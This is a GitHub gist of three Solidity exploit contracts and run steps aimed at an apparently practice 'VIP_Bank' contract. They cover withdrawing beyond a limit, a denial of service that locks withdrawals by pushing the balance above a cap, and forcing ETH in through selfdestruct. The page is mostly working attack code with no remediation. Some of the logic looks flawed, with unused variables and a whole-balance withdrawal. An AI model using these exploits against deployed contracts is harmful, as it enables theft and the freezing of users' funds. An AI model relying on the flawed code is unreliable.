Skip to content

Instantly share code, notes, and snippets.

@DonGuillotine
Created October 22, 2024 17:16
Show Gist options
  • Save DonGuillotine/b4bff94b182775493b4d7901786c5cb5 to your computer and use it in GitHub Desktop.
Save DonGuillotine/b4bff94b182775493b4d7901786c5cb5 to your computer and use it in GitHub Desktop.

Flawed Withdrawal Limit Check Exploit

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IVIP_Bank {
    function deposit() external payable;
    function withdraw(uint _amount) external;
    function balances(address) external view returns (uint);
}

contract VIPBankExploit {
    IVIP_Bank public vipBank;

    constructor(address _vipBankAddress) {
        vipBank = IVIP_Bank(_vipBankAddress);
    }

    // This function waits until contract balance is <= 0.5 ETH
    // Then withdraws more than deposited amount (if we have VIP status)
    function exploitWithdraw() external {
        // First make sure balance is under maxETH
        require(address(vipBank).balance <= 0.5 ether, "Wait for lower balance");
        
        // Get our actual balance
        uint ourBalance = vipBank.balances(address(this));
        
        // Try to withdraw more than we have
        vipBank.withdraw(address(vipBank).balance);
    }

    // To receive ETH from the withdrawal
    receive() external payable {}
}

DoS Through Balance Lock Exploit

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IVIP_Bank {
    function deposit() external payable;
    function contractBalance() external view returns (uint);
}

contract DosExploit {
    IVIP_Bank public vipBank;
    
    constructor(address _vipBankAddress) {
        vipBank = IVIP_Bank(_vipBankAddress);
    }

    // This function will lock the contract by pushing balance above 0.5 ETH
    function executeDos() external payable {
        uint currentBalance = vipBank.contractBalance();
        uint targetBalance = 0.5 ether + 0.01 ether;
        
        // Keep depositing until we go over maxETH
        while(currentBalance <= 0.5 ether) {
            vipBank.deposit{value: 0.05 ether}();
            currentBalance = vipBank.contractBalance();
        }
    }

    // Helper function to calculate how many deposits needed
    function calculateRequiredDeposits() external view returns (uint) {
        uint currentBalance = vipBank.contractBalance();
        uint needed = (0.51 ether - currentBalance) / 0.05 ether;
        if ((0.51 ether - currentBalance) % 0.05 ether > 0) {
            needed += 1;
        }
        return needed;
    }
}

Balance Reconciliation Exploit (using forced ETH)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IVIP_Bank {
    function contractBalance() external view returns (uint);
    function balances(address) external view returns (uint);
}

contract ForceETHExploit {
    IVIP_Bank public vipBank;
    
    constructor(address _vipBankAddress) payable {
        vipBank = IVIP_Bank(_vipBankAddress);
    }
    
    // Deploy this contract with some ETH
    // Call forceETH to force ETH into VIP_Bank
    function forceETH() external {
        // Force ETH into the contract using selfdestruct
        selfdestruct(payable(address(vipBank)));
    }
    
    // Helper to verify balance discrepancy
    function checkDiscrepancy(address[] calldata users) external view returns (uint) {
        uint totalUserBalances;
        for(uint i = 0; i < users.length; i++) {
            totalUserBalances += vipBank.balances(users[i]);
        }
        
        // Compare contract balance vs sum of user balances
        return address(vipBank).balance - totalUserBalances;
    }
}

Proof of the exploits For Withdrawal Exploit:

// Deploy VIP_Bank // Get VIP status for exploit contract // Wait until bank balance <= 0.5 ETH // Call exploitWithdraw()

For DoS Exploit:

// Deploy VIP_Bank // Get VIP status for exploit contract // Fund exploit contract with enough ETH // Call executeDos() // Result: All withdrawals are now blocked

For Force ETH Exploit:

// Deploy VIP_Bank // Deploy ForceETHExploit with some ETH // Call forceETH() // Contract now has inconsistent balance state

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment